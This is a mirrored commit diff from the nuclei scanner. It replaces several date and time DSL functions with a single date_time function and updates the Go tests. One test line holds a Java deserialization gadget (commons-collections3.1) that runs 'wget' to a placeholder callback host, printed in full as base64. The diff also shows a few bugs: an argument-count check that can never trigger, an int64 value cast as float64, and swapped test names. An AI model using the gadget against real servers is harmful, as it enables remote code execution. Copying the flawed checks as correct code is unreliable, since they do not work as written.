mirror of
https://github.com/projectdiscovery/nuclei.git
synced 2025-12-18 15:05:26 +00:00
refactor: replace date, time, time_format, time_to_string DSL functions to date_time
This commit is contained in:
parent
a10d58c6d2
commit
ef20e0711b
@ -47,6 +47,7 @@ var invalidDslFunctionMessageTemplate = "%w. correct method signature %q"
|
|||||||
|
|
||||||
var dslFunctions map[string]dslFunction
|
var dslFunctions map[string]dslFunction
|
||||||
|
|
||||||
|
var functionSignaturePattern = regexp.MustCompile(`(\w+)\s*\((?:([\w\d,\s]+)\s+([.\w\d{}&*]+))?\)([\s.\w\d{}&*]+)?`)
|
||||||
var dateFormatRegex = regexp.MustCompile("%([A-Za-z])")
|
var dateFormatRegex = regexp.MustCompile("%([A-Za-z])")
|
||||||
|
|
||||||
type dslFunction struct {
|
type dslFunction struct {
|
||||||
@ -155,66 +156,29 @@ func init() {
|
|||||||
_ = reader.Close()
|
_ = reader.Close()
|
||||||
return string(data), nil
|
return string(data), nil
|
||||||
}),
|
}),
|
||||||
"date": makeDslFunction(1, func(args ...interface{}) (interface{}, error) {
|
"date_time": makeDslWithOptionalArgsFunction(
|
||||||
timeFormat := types.ToString(args[0])
|
"(dateTimeFormat string, optionalUnixTime interface{}) string",
|
||||||
timeFormatFragment := dateFormatRegex.FindAllStringSubmatch(timeFormat, -1)
|
func(arguments ...interface{}) (interface{}, error) {
|
||||||
|
dateTimeFormat := types.ToString(arguments[0])
|
||||||
|
dateTimeFormatFragment := dateFormatRegex.FindAllStringSubmatch(dateTimeFormat, -1)
|
||||||
|
|
||||||
for _, currentFragment := range timeFormatFragment {
|
argumentsSize := len(arguments)
|
||||||
if len(currentFragment) < 2 {
|
if argumentsSize < 1 && argumentsSize > 2 {
|
||||||
continue
|
return nil, errors.New("invalid number of arguments")
|
||||||
}
|
}
|
||||||
now := time.Now()
|
|
||||||
prefixedFormatFragment := currentFragment[0]
|
|
||||||
switch currentFragment[1] {
|
|
||||||
case "Y", "y":
|
|
||||||
timeFormat = formatDateTime(timeFormat, prefixedFormatFragment, now.Year())
|
|
||||||
case "M", "m":
|
|
||||||
timeFormat = formatDateTime(timeFormat, prefixedFormatFragment, int(now.Month()))
|
|
||||||
case "D", "d":
|
|
||||||
timeFormat = formatDateTime(timeFormat, prefixedFormatFragment, now.Day())
|
|
||||||
default:
|
|
||||||
return nil, fmt.Errorf("invalid date format string: %s", prefixedFormatFragment)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return timeFormat, nil
|
|
||||||
}),
|
|
||||||
"time": makeDslFunction(1, func(args ...interface{}) (interface{}, error) {
|
|
||||||
timeFormat := types.ToString(args[0])
|
|
||||||
timeFormatFragment := dateFormatRegex.FindAllStringSubmatch(timeFormat, -1)
|
|
||||||
|
|
||||||
for _, currentFragment := range timeFormatFragment {
|
currentTime, err := getCurrentTimeFromUserInput(arguments)
|
||||||
if len(currentFragment) < 2 {
|
if err != nil {
|
||||||
continue
|
return nil, err
|
||||||
}
|
}
|
||||||
now := time.Now()
|
|
||||||
prefixedFormatFragment := currentFragment[0]
|
if len(dateTimeFormatFragment) > 0 {
|
||||||
switch currentFragment[1] {
|
return doSimpleTimeFormat(dateTimeFormatFragment, currentTime, dateTimeFormat)
|
||||||
case "H", "h":
|
} else {
|
||||||
timeFormat = formatDateTime(timeFormat, prefixedFormatFragment, now.Hour())
|
return currentTime.Format(dateTimeFormat), nil
|
||||||
case "M", "m":
|
|
||||||
timeFormat = formatDateTime(timeFormat, prefixedFormatFragment, now.Minute())
|
|
||||||
case "S", "s":
|
|
||||||
timeFormat = formatDateTime(timeFormat, prefixedFormatFragment, now.Second())
|
|
||||||
default:
|
|
||||||
return nil, fmt.Errorf("invalid time format string: %s", prefixedFormatFragment)
|
|
||||||
}
|
}
|
||||||
}
|
},
|
||||||
return timeFormat, nil
|
),
|
||||||
}),
|
|
||||||
"time_format": makeDslFunction(1, func(args ...interface{}) (interface{}, error) {
|
|
||||||
t := time.Now()
|
|
||||||
return t.Format(args[0].(string)), nil
|
|
||||||
}),
|
|
||||||
"time_to_string": makeDslFunction(1, func(args ...interface{}) (interface{}, error) {
|
|
||||||
if got, ok := args[0].(time.Time); ok {
|
|
||||||
return got.String(), nil
|
|
||||||
}
|
|
||||||
if got, ok := args[0].(float64); ok {
|
|
||||||
seconds, nanoseconds := math.Modf(got)
|
|
||||||
return time.Unix(int64(seconds), int64(nanoseconds)).String(), nil
|
|
||||||
}
|
|
||||||
return nil, fmt.Errorf("invalid time format: %T", args[0])
|
|
||||||
}),
|
|
||||||
"base64_py": makeDslFunction(1, func(args ...interface{}) (interface{}, error) {
|
"base64_py": makeDslFunction(1, func(args ...interface{}) (interface{}, error) {
|
||||||
// python encodes to base64 with lines of 76 bytes terminated by new line "\n"
|
// python encodes to base64 with lines of 76 bytes terminated by new line "\n"
|
||||||
stdBase64 := base64.StdEncoding.EncodeToString([]byte(types.ToString(args[0])))
|
stdBase64 := base64.StdEncoding.EncodeToString([]byte(types.ToString(args[0])))
|
||||||
@ -549,37 +513,6 @@ func init() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func toHexEncodedHash(hashToUse hash.Hash, data string) (interface{}, error) {
|
|
||||||
if _, err := hashToUse.Write([]byte(data)); err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
return hex.EncodeToString(hashToUse.Sum(nil)), nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func formatDateTime(inputFormat string, matchValue string, timeFragment int) string {
|
|
||||||
return strings.ReplaceAll(inputFormat, matchValue, appendSingleDigitZero(strconv.Itoa(timeFragment)))
|
|
||||||
}
|
|
||||||
|
|
||||||
// appendSingleDigitZero appends zero at front if not exists already doing two digit padding
|
|
||||||
func appendSingleDigitZero(value string) string {
|
|
||||||
if len(value) == 1 && (!strings.HasPrefix(value, "0") || value == "0") {
|
|
||||||
builder := &strings.Builder{}
|
|
||||||
builder.WriteRune('0')
|
|
||||||
builder.WriteString(value)
|
|
||||||
newVal := builder.String()
|
|
||||||
return newVal
|
|
||||||
}
|
|
||||||
return value
|
|
||||||
}
|
|
||||||
|
|
||||||
func createSignaturePart(numberOfParameters int) string {
|
|
||||||
params := make([]string, 0, numberOfParameters)
|
|
||||||
for i := 1; i <= numberOfParameters; i++ {
|
|
||||||
params = append(params, "arg"+strconv.Itoa(i))
|
|
||||||
}
|
|
||||||
return fmt.Sprintf("(%s interface{}) interface{}", strings.Join(params, ", "))
|
|
||||||
}
|
|
||||||
|
|
||||||
func makeDslWithOptionalArgsFunction(signaturePart string, dslFunctionLogic govaluate.ExpressionFunction) func(functionName string) dslFunction {
|
func makeDslWithOptionalArgsFunction(signaturePart string, dslFunctionLogic govaluate.ExpressionFunction) func(functionName string) dslFunction {
|
||||||
return func(functionName string) dslFunction {
|
return func(functionName string) dslFunction {
|
||||||
return dslFunction{
|
return dslFunction{
|
||||||
@ -604,6 +537,14 @@ func makeDslFunction(numberOfParameters int, dslFunctionLogic govaluate.Expressi
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func createSignaturePart(numberOfParameters int) string {
|
||||||
|
params := make([]string, 0, numberOfParameters)
|
||||||
|
for i := 1; i <= numberOfParameters; i++ {
|
||||||
|
params = append(params, "arg"+strconv.Itoa(i))
|
||||||
|
}
|
||||||
|
return fmt.Sprintf("(%s interface{}) interface{}", strings.Join(params, ", "))
|
||||||
|
}
|
||||||
|
|
||||||
// HelperFunctions returns the dsl helper functions
|
// HelperFunctions returns the dsl helper functions
|
||||||
func HelperFunctions() map[string]govaluate.ExpressionFunction {
|
func HelperFunctions() map[string]govaluate.ExpressionFunction {
|
||||||
helperFunctions := make(map[string]govaluate.ExpressionFunction, len(dslFunctions))
|
helperFunctions := make(map[string]govaluate.ExpressionFunction, len(dslFunctions))
|
||||||
@ -657,8 +598,6 @@ func getDslFunctionSignatures() []string {
|
|||||||
return result
|
return result
|
||||||
}
|
}
|
||||||
|
|
||||||
var functionSignaturePattern = regexp.MustCompile(`(\w+)\s*\((?:([\w\d,\s]+)\s+([.\w\d{}&*]+))?\)([\s.\w\d{}&*]+)?`)
|
|
||||||
|
|
||||||
func colorizeDslFunctionSignatures() []string {
|
func colorizeDslFunctionSignatures() []string {
|
||||||
signatures := getDslFunctionSignatures()
|
signatures := getDslFunctionSignatures()
|
||||||
|
|
||||||
@ -724,3 +663,75 @@ func randSeq(base string, n int) string {
|
|||||||
}
|
}
|
||||||
return string(b)
|
return string(b)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func toHexEncodedHash(hashToUse hash.Hash, data string) (interface{}, error) {
|
||||||
|
if _, err := hashToUse.Write([]byte(data)); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
return hex.EncodeToString(hashToUse.Sum(nil)), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func doSimpleTimeFormat(dateTimeFormatFragment [][]string, currentTime time.Time, dateTimeFormat string) (interface{}, error) {
|
||||||
|
for _, currentFragment := range dateTimeFormatFragment {
|
||||||
|
if len(currentFragment) < 2 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
prefixedFormatFragment := currentFragment[0]
|
||||||
|
switch currentFragment[1] {
|
||||||
|
case "Y", "y":
|
||||||
|
dateTimeFormat = formatDateTime(dateTimeFormat, prefixedFormatFragment, currentTime.Year())
|
||||||
|
case "M":
|
||||||
|
dateTimeFormat = formatDateTime(dateTimeFormat, prefixedFormatFragment, int(currentTime.Month()))
|
||||||
|
case "D", "d":
|
||||||
|
dateTimeFormat = formatDateTime(dateTimeFormat, prefixedFormatFragment, currentTime.Day())
|
||||||
|
case "H", "h":
|
||||||
|
dateTimeFormat = formatDateTime(dateTimeFormat, prefixedFormatFragment, currentTime.Hour())
|
||||||
|
case "m":
|
||||||
|
dateTimeFormat = formatDateTime(dateTimeFormat, prefixedFormatFragment, currentTime.Minute())
|
||||||
|
case "S", "s":
|
||||||
|
dateTimeFormat = formatDateTime(dateTimeFormat, prefixedFormatFragment, currentTime.Second())
|
||||||
|
default:
|
||||||
|
return nil, fmt.Errorf("invalid date time format string: %s", prefixedFormatFragment)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return dateTimeFormat, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func getCurrentTimeFromUserInput(arguments []interface{}) (time.Time, error) {
|
||||||
|
var currentTime time.Time
|
||||||
|
if len(arguments) == 2 {
|
||||||
|
switch inputUnixTime := arguments[1].(type) {
|
||||||
|
case time.Time:
|
||||||
|
currentTime = inputUnixTime
|
||||||
|
case string:
|
||||||
|
unixTime, err := strconv.ParseInt(inputUnixTime, 10, 64)
|
||||||
|
if err != nil {
|
||||||
|
return time.Time{}, errors.New("invalid argument type")
|
||||||
|
}
|
||||||
|
currentTime = time.Unix(unixTime, 0)
|
||||||
|
case int64, float64:
|
||||||
|
currentTime = time.Unix(int64(inputUnixTime.(float64)), 0)
|
||||||
|
default:
|
||||||
|
return time.Time{}, errors.New("invalid argument type")
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
currentTime = time.Now()
|
||||||
|
}
|
||||||
|
return currentTime, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func formatDateTime(inputFormat string, matchValue string, timeFragment int) string {
|
||||||
|
return strings.ReplaceAll(inputFormat, matchValue, appendSingleDigitZero(strconv.Itoa(timeFragment)))
|
||||||
|
}
|
||||||
|
|
||||||
|
// appendSingleDigitZero appends zero at front if not exists already doing two digit padding
|
||||||
|
func appendSingleDigitZero(value string) string {
|
||||||
|
if len(value) == 1 && (!strings.HasPrefix(value, "0") || value == "0") {
|
||||||
|
builder := &strings.Builder{}
|
||||||
|
builder.WriteRune('0')
|
||||||
|
builder.WriteString(value)
|
||||||
|
newVal := builder.String()
|
||||||
|
return newVal
|
||||||
|
}
|
||||||
|
return value
|
||||||
|
}
|
||||||
|
|||||||
@ -51,16 +51,44 @@ func TestDSLGzipSerialize(t *testing.T) {
|
|||||||
require.Equal(t, "hello world", data.(string), "could not get gzip encoded data")
|
require.Equal(t, "hello world", data.(string), "could not get gzip encoded data")
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestTimeToStringDSLFunction(t *testing.T) {
|
func TestDateTimeDSLFunction(t *testing.T) {
|
||||||
compiled, err := govaluate.NewEvaluableExpressionWithFunctions("time_to_string(data)", HelperFunctions())
|
|
||||||
require.Nil(t, err, "could not compile encoder")
|
|
||||||
|
|
||||||
data := time.Now()
|
testDateTimeFormat := func(t *testing.T, dateTimeFormat string, dateTimeFunction *govaluate.EvaluableExpression, expectedFormattedTime string, currentUnixTime int64) {
|
||||||
result, err := compiled.Evaluate(map[string]interface{}{"data": data})
|
dslFunctionParameters := map[string]interface{}{"dateTimeFormat": dateTimeFormat}
|
||||||
require.Nil(t, err, "could not evaluate compare time")
|
|
||||||
|
|
||||||
require.Equal(t, data.String(), result.(string), "could not get correct time format string")
|
if currentUnixTime != 0 {
|
||||||
|
dslFunctionParameters["unixTime"] = currentUnixTime
|
||||||
|
}
|
||||||
|
|
||||||
|
result, err := dateTimeFunction.Evaluate(dslFunctionParameters)
|
||||||
|
|
||||||
|
require.Nil(t, err, "could not evaluate compare time")
|
||||||
|
|
||||||
|
require.Equal(t, expectedFormattedTime, result.(string), "could not get correct time format string")
|
||||||
|
}
|
||||||
|
|
||||||
|
t.Run("with Unix time", func(t *testing.T) {
|
||||||
|
dateTimeFunction, err := govaluate.NewEvaluableExpressionWithFunctions("date_time(dateTimeFormat)", HelperFunctions())
|
||||||
|
require.Nil(t, err, "could not compile encoder")
|
||||||
|
|
||||||
|
currentTime := time.Now()
|
||||||
|
expectedFormattedTime := currentTime.Format("02-01-2006 15:04")
|
||||||
|
testDateTimeFormat(t, "02-01-2006 15:04", dateTimeFunction, expectedFormattedTime, 0)
|
||||||
|
testDateTimeFormat(t, "%D-%M-%Y %H:%m", dateTimeFunction, expectedFormattedTime, 0)
|
||||||
|
})
|
||||||
|
|
||||||
|
t.Run("without Unix time", func(t *testing.T) {
|
||||||
|
dateTimeFunction, err := govaluate.NewEvaluableExpressionWithFunctions("date_time(dateTimeFormat, unixTime)", HelperFunctions())
|
||||||
|
require.Nil(t, err, "could not compile encoder")
|
||||||
|
|
||||||
|
currentTime := time.Now()
|
||||||
|
currentUnixTime := currentTime.Unix()
|
||||||
|
expectedFormattedTime := currentTime.Format("02-01-2006 15:04")
|
||||||
|
testDateTimeFormat(t, "02-01-2006 15:04", dateTimeFunction, expectedFormattedTime, currentUnixTime)
|
||||||
|
testDateTimeFormat(t, "%D-%M-%Y %H:%m", dateTimeFunction, expectedFormattedTime, currentUnixTime)
|
||||||
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestDslFunctionSignatures(t *testing.T) {
|
func TestDslFunctionSignatures(t *testing.T) {
|
||||||
type testCase struct {
|
type testCase struct {
|
||||||
methodName string
|
methodName string
|
||||||
@ -111,7 +139,7 @@ func TestGetPrintableDslFunctionSignatures(t *testing.T) {
|
|||||||
[93mcompare_versions[0m(firstVersion, constraints [38;5;208m...string[0m)[38;5;208m bool[0m
|
[93mcompare_versions[0m(firstVersion, constraints [38;5;208m...string[0m)[38;5;208m bool[0m
|
||||||
[93mconcat[0m(args [38;5;208m...interface{}[0m)[38;5;208m string[0m
|
[93mconcat[0m(args [38;5;208m...interface{}[0m)[38;5;208m string[0m
|
||||||
[93mcontains[0m(arg1, arg2 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
|
[93mcontains[0m(arg1, arg2 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
|
||||||
[93mdate[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
|
[93mdate_time[0m(dateTimeFormat [38;5;208mstring[0m, optionalUnixTime [38;5;208minterface{}[0m)[38;5;208m string[0m
|
||||||
[93mdec_to_hex[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
|
[93mdec_to_hex[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
|
||||||
[93mgenerate_java_gadget[0m(arg1, arg2, arg3 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
|
[93mgenerate_java_gadget[0m(arg1, arg2, arg3 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
|
||||||
[93mgzip[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
|
[93mgzip[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
|
||||||
@ -141,9 +169,6 @@ func TestGetPrintableDslFunctionSignatures(t *testing.T) {
|
|||||||
[93mreverse[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
|
[93mreverse[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
|
||||||
[93msha1[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
|
[93msha1[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
|
||||||
[93msha256[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
|
[93msha256[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
|
||||||
[93mtime[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
|
|
||||||
[93mtime_format[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
|
|
||||||
[93mtime_to_string[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
|
|
||||||
[93mto_lower[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
|
[93mto_lower[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
|
||||||
[93mto_number[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
|
[93mto_number[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
|
||||||
[93mto_string[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
|
[93mto_string[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
|
||||||
@ -177,41 +202,42 @@ func TestDslExpressions(t *testing.T) {
|
|||||||
now := time.Now()
|
now := time.Now()
|
||||||
|
|
||||||
dslExpressions := map[string]interface{}{
|
dslExpressions := map[string]interface{}{
|
||||||
`base64("Hello")`: "SGVsbG8=",
|
`base64("Hello")`: "SGVsbG8=",
|
||||||
`base64(1234)`: "MTIzNA==",
|
`base64(1234)`: "MTIzNA==",
|
||||||
`base64_py("Hello")`: "SGVsbG8=\n",
|
`base64_py("Hello")`: "SGVsbG8=\n",
|
||||||
`hex_encode("aa")`: "6161",
|
`hex_encode("aa")`: "6161",
|
||||||
`html_escape("<body>test</body>")`: "<body>test</body>",
|
`html_escape("<body>test</body>")`: "<body>test</body>",
|
||||||
`html_unescape("<body>test</body>")`: "<body>test</body>",
|
`html_unescape("<body>test</body>")`: "<body>test</body>",
|
||||||
`date("%Y-%M-%D")`: fmt.Sprintf("%02d-%02d-%02d", now.Year(), now.Month(), now.Day()),
|
`date_time("%Y-%M-%D")`: fmt.Sprintf("%02d-%02d-%02d", now.Year(), now.Month(), now.Day()),
|
||||||
`time("%H-%M")`: fmt.Sprintf("%02d-%02d", now.Hour(), now.Minute()),
|
`date_time("%H-%m")`: fmt.Sprintf("%02d-%02d", now.Hour(), now.Minute()),
|
||||||
`md5("Hello")`: "8b1a9953c4611296a827abf8c47804d7",
|
`date_time("02-01-2006 15:04")`: now.Format("02-01-2006 15:04"),
|
||||||
`md5(1234)`: "81dc9bdb52d04dc20036dbd8313ed055",
|
`md5("Hello")`: "8b1a9953c4611296a827abf8c47804d7",
|
||||||
`mmh3("Hello")`: "316307400",
|
`md5(1234)`: "81dc9bdb52d04dc20036dbd8313ed055",
|
||||||
`remove_bad_chars("abcd", "bc")`: "ad",
|
`mmh3("Hello")`: "316307400",
|
||||||
`replace("Hello", "He", "Ha")`: "Hallo",
|
`remove_bad_chars("abcd", "bc")`: "ad",
|
||||||
`concat("Hello", 123, "world")`: "Hello123world",
|
`replace("Hello", "He", "Ha")`: "Hallo",
|
||||||
`join("_", "Hello", 123, "world")`: "Hello_123_world",
|
`concat("Hello", 123, "world")`: "Hello123world",
|
||||||
`repeat("a", 5)`: "aaaaa",
|
`join("_", "Hello", 123, "world")`: "Hello_123_world",
|
||||||
`repeat("a", "5")`: "aaaaa",
|
`repeat("a", 5)`: "aaaaa",
|
||||||
`repeat("../", "5")`: "../../../../../",
|
`repeat("a", "5")`: "aaaaa",
|
||||||
`repeat(5, 5)`: "55555",
|
`repeat("../", "5")`: "../../../../../",
|
||||||
`replace_regex("He123llo", "(\\d+)", "")`: "Hello",
|
`repeat(5, 5)`: "55555",
|
||||||
`reverse("abc")`: "cba",
|
`replace_regex("He123llo", "(\\d+)", "")`: "Hello",
|
||||||
`sha1("Hello")`: "f7ff9e8b7bb2e09b70935a5d785e0cc5d9d0abf0",
|
`reverse("abc")`: "cba",
|
||||||
`sha256("Hello")`: "185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969",
|
`sha1("Hello")`: "f7ff9e8b7bb2e09b70935a5d785e0cc5d9d0abf0",
|
||||||
`to_lower("HELLO")`: "hello",
|
`sha256("Hello")`: "185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969",
|
||||||
`to_upper("hello")`: "HELLO",
|
`to_lower("HELLO")`: "hello",
|
||||||
`trim("aaaHelloddd", "ad")`: "Hello",
|
`to_upper("hello")`: "HELLO",
|
||||||
`trim_left("aaaHelloddd", "ad")`: "Helloddd",
|
`trim("aaaHelloddd", "ad")`: "Hello",
|
||||||
`trim_prefix("aaHelloaa", "aa")`: "Helloaa",
|
`trim_left("aaaHelloddd", "ad")`: "Helloddd",
|
||||||
`trim_right("aaaHelloddd", "ad")`: "aaaHello",
|
`trim_prefix("aaHelloaa", "aa")`: "Helloaa",
|
||||||
`trim_space(" Hello ")`: "Hello",
|
`trim_right("aaaHelloddd", "ad")`: "aaaHello",
|
||||||
`trim_suffix("aaHelloaa", "aa")`: "aaHello",
|
`trim_space(" Hello ")`: "Hello",
|
||||||
|
`trim_suffix("aaHelloaa", "aa")`: "aaHello",
|
||||||
`url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")`: "https://projectdiscovery.io?test=1",
|
`url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")`: "https://projectdiscovery.io?test=1",
|
||||||
`url_encode("https://projectdiscovery.io/test?a=1")`: "https%3A%2F%2Fprojectdiscovery.io%2Ftest%3Fa%3D1",
|
`url_encode("https://projectdiscovery.io/test?a=1")`: "https%3A%2F%2Fprojectdiscovery.io%2Ftest%3Fa%3D1",
|
||||||
`gzip("Hello")`: "\x1f\x8b\b\x00\x00\x00\x00\x00\x00\xff\xf2H\xcd\xc9\xc9\a\x04\x00\x00\xff\xff\x82\x89\xd1\xf7\x05\x00\x00\x00",
|
`gzip("Hello")`: "\x1f\x8b\b\x00\x00\x00\x00\x00\x00\xff\xf2H\xcd\xc9\xc9\a\x04\x00\x00\xff\xff\x82\x89\xd1\xf7\x05\x00\x00\x00",
|
||||||
`zlib("Hello")`: "\x78\x9c\xf2\x48\xcd\xc9\xc9\x07\x04\x00\x00\xff\xff\x05\x8c\x01\xf5",
|
`zlib("Hello")`: "\x78\x9c\xf2\x48\xcd\xc9\xc9\x07\x04\x00\x00\xff\xff\x05\x8c\x01\xf5",
|
||||||
`zlib_decode(hex_decode("789cf248cdc9c907040000ffff058c01f5"))`: "Hello",
|
`zlib_decode(hex_decode("789cf248cdc9c907040000ffff058c01f5"))`: "Hello",
|
||||||
`gzip_decode(hex_decode("1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000"))`: "Hello",
|
`gzip_decode(hex_decode("1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000"))`: "Hello",
|
||||||
`generate_java_gadget("commons-collections3.1", "wget https://{{interactsh-url}}", "base64")`: "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAJmh0dHBzOi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AeHB2cQB%2BABtzcQB%2BABN1cQB%2BABgAAAACcHVxAH4AGAAAAAB0AAZpbnZva2V1cQB%2BABsAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAH3dnZXQgaHR0cHM6Ly97e2ludGVyYWN0c2gtdXJsfX10AARleGVjdXEAfgAbAAAAAXEAfgAgc3EAfgAPc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4eA==",
|
`generate_java_gadget("commons-collections3.1", "wget https://{{interactsh-url}}", "base64")`: "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAJmh0dHBzOi8vZ2l0aHViLmNvbS9qb2FvbWF0b3NmL2pleGJvc3Mgc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl%2BwoepcEAgAB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KgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4eA==",
|
||||||
@ -232,7 +258,6 @@ func TestDslExpressions(t *testing.T) {
|
|||||||
`compare_versions('v1.0.0', '>v0.0.1', '<v1.0.1')`: true,
|
`compare_versions('v1.0.0', '>v0.0.1', '<v1.0.1')`: true,
|
||||||
`hmac('sha1', 'test', 'scrt')`: "8856b111056d946d5c6c92a21b43c233596623c6",
|
`hmac('sha1', 'test', 'scrt')`: "8856b111056d946d5c6c92a21b43c233596623c6",
|
||||||
`hmac('sha256', 'test', 'scrt')`: "1f1bff5574f18426eb376d6dd5368a754e67a798aa2074644d5e3fd4c90c7a92",
|
`hmac('sha256', 'test', 'scrt')`: "1f1bff5574f18426eb376d6dd5368a754e67a798aa2074644d5e3fd4c90c7a92",
|
||||||
`time_format("02-01-2006 15:04")`: now.Format("02-01-2006 15:04"),
|
|
||||||
}
|
}
|
||||||
|
|
||||||
for dslExpression, expectedResult := range dslExpressions {
|
for dslExpression, expectedResult := range dslExpressions {
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user